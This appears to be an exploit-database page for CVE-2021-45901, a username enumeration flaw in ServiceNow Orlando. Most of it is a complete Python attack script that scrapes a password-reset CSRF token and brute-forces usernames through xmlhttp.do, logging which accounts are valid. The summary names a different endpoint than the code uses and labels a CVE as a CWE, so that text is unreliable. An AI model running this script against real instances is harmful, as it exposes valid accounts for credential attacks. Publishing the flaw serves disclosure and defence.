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Suggest Exploit
vendor:
ServiceNow
by:
Victor Hanna (Trustwave SpiderLabs)
5.3
CVSS
MEDIUM
Username Enumeration
200
CWE
Product Name: ServiceNow
Affected Version From: Orlando
Affected Version To: Orlando
Patch Exists: YES
Related CWE: CVE-2021-45901
CPE: a:servicenow:servicenow
Metasploit:
Other Scripts:
Platforms Tested: MAC OSX
2022

ServiceNow – Username Enumeration

Victor Hanna (Trustwave SpiderLabs) discovered a username enumeration vulnerability in ServiceNow Orlando. An attacker can use this vulnerability to enumerate valid usernames by sending a POST request to the /api/now/v2/table/sys_user endpoint with a valid JSESSION, X-UserToken and CSRF Token. This can be used to further attack the system.

Mitigation:

ServiceNow has released a patch to address this vulnerability.
Source

Exploit-DB raw data:

# Exploit Title: ServiceNow - Username Enumeration
# Google Dork: NA
# Date: 12 February 2022
# Exploit Author: Victor Hanna (Trustwave SpiderLabs)
# Author Github Page: https://9lyph.github.io/CVE-2021-45901/
# Vendor Homepage: https://www.servicenow.com/
# Software Link: https://docs.servicenow.com/bundle/orlando-servicenow-platform/page/product/mid-server/task/t_DownloadMIDServerFiles.html
# Version: Orlando
# Tested on: MAC OSX
# CVE : CVE-2021-45901

#!/usr/local/bin/python3
# Author: Victor Hanna (SpiderLabs)
# User enumeration script SNOW
# Requires valid 1. JSESSION (anonymous), 2. X-UserToken and 3. CSRF Token

import requests
import re
import urllib.parse
from colorama import init
from colorama import Fore, Back, Style
import sys
import os
import time

from urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning)

def banner():
    print ("[+]********************************************************************************[+]")
    print ("|   Author : Victor Hanna (9lyph)["+Fore.RED + "SpiderLabs" +Style.RESET_ALL+"]\t\t\t\t\t    |")
    print ("|   Decription: SNOW Username Enumerator                                            |")
    print ("|   Usage : "+sys.argv[0]+"                                                        |")
    print ("|   Prequisite: \'users.txt\' needs to contain list of users                          |")    
    print ("[+]********************************************************************************[+]")

def main():
    os.system('clear')
    banner()
    proxies = {
        "http":"http://127.0.0.1:8080/",
        "https":"http://127.0.0.1:8080/"
    }
    url = "http://<redacted>/"
    try:
        # s = requests.Session()
        # s.verify = False
        r = requests.get(url, timeout=10, verify=False, proxies=proxies)
        JSESSIONID = r.cookies["JSESSIONID"]
        glide_user_route = r.cookies["glide_user_route"]
        startTime = (str(time.time_ns()))
        # print (startTime[:-6])
    except requests.exceptions.Timeout:
        print ("[!] Connection to host timed out !")
        sys.exit(1)
    except requests.exceptions.ProxyError:
        print ("[!] Can't communicate with proxy !")
        sys.exit(1)

    with open ("users.txt", "r") as f:
        usernames = f.readlines()
        print (f"[+] Brute forcing ....")
        for users in usernames:
            url = "http://<redacted>/$pwd_reset.do?sysparm_url=ss_default"
            headers1 = {
                "Host": "<redacted>",
                "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0",
                "Accept": "*/*",
                "Accept-Language": "en-US,en;q=0.5",
                "Accept-Encoding": "gzip, deflate",
                "Connection": "close",
                "Cookie": "glide_user_route="+glide_user_route+"; JSESSIONID="+JSESSIONID+"; __CJ_g_startTime=\'"+startTime[:-6]+"\'"
                }

            try:
                # s = requests.Session()
                # s.verify = False
                r = requests.get(url, headers=headers1, timeout=20, verify=False, proxies=proxies)
                obj1 = re.findall(r"pwd_csrf_token", r.text)
                obj2 = re.findall(r"fireAll\(\"ck_updated\"", r.text)
                tokenIndex = (r.text.index(obj1[0]))
                startTime2 = (str(time.time_ns()))
                # userTokenIndex = (r.text.index(obj2[0]))
                # userToken = (r.text[userTokenIndex+23 : userTokenIndex+95])
                token = (r.text[tokenIndex+45:tokenIndex+73])
                url = "http://<redacted>/xmlhttp.do"
                headers2 = {
                    "Host": "<redacted>",
                    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0",
                    "Accept": "*/*",
                    "Accept-Language": "en-US,en;q=0.5",
                    "Accept-Encoding": "gzip, deflate",
                    "Referer": "http://<redacted>/$pwd_reset.do?sysparm_url=ss default",
                    "Content-Type": "application/x-www-form-urlencoded; charset=UTF-8",
                    "Content-Length": "786",
                    "Origin": "http://<redacted>/",
                    "Connection": "keep-alive",
                    # "X-UserToken":""+userToken+"",
                    "Cookie": "glide_user_route="+glide_user_route+";JSESSIONID="+JSESSIONID+"; __CJ_g_startTime=\'"+startTime2[:-6]+"\'"
                    }

                data = {
                    "sysparm_processor": "PwdAjaxVerifyIdentity",
                    "sysparm_scope": "global",
                    "sysparm_want_session_messages": "true",
                    "sysparm_name":"verifyIdentity",
                    "sysparm_process_id":"c6b0c20667100200a5a0f3b457415ad5",
                    "sysparm_processor_id_0":"fb9b36b3bf220100710071a7bf07390b",
                    "sysparm_user_id_0":""+users.strip()+"",
                    "sysparm_identification_number":"1",
                    "sysparam_pwd_csrf_token":""+token+"",
                    "ni.nolog.x_referer":"ignore",
                    "x_referer":"$pwd_reset.do?sysparm_url=ss_default"
                    }

                payload_str = urllib.parse.urlencode(data, safe=":+")

            except requests.exceptions.Timeout:
                print ("[!] Connection to host timed out !")
                sys.exit(1)

            try:
                # s = requests.Session()
                # s.verify = False
                time.sleep(2)
                r = requests.post(url, headers=headers2, data=payload_str, timeout=20, verify=False, proxies=proxies)
                if "500" in r.text:
                    print (Fore.RED + f"[-] Invalid user: {users.strip()}" + Style.RESET_ALL)
                    f = open("enumeratedUserList.txt", "a+")
                    f.write(Fore.RED + f"[-] Invalid user: {users.strip()}\n" + Style.RESET_ALL)
                    f.close()
                elif "200" in r.text:
                    print (Fore.GREEN + f"[+] Valid user: {users.strip()}" + Style.RESET_ALL)
                    f = open("enumeratedUserList.txt", "a+")
                    f.write(Fore.GREEN + f"[+] Valid user: {users.strip()}\n" + Style.RESET_ALL)
                    f.close()
                else:
                    print (Fore.RED + f"[-] Invalid user: {users.strip()}" + Style.RESET_ALL)
                    f = open("enumeratedUserList.txt", "a+")
                    f.write(Fore.RED + f"[-] Invalid user: {users.strip()}\n" + Style.RESET_ALL)
                    f.close()
            except KeyboardInterrupt:
                sys.exit()
            except requests.exceptions.Timeout:
                print ("[!] Connection to host timed out !")
                sys.exit(1)
            except Exception as e:
                print (Fore.RED + f"Unable to connect to host" + Style.RESET_ALL)

if __name__ == "__main__":
    main ()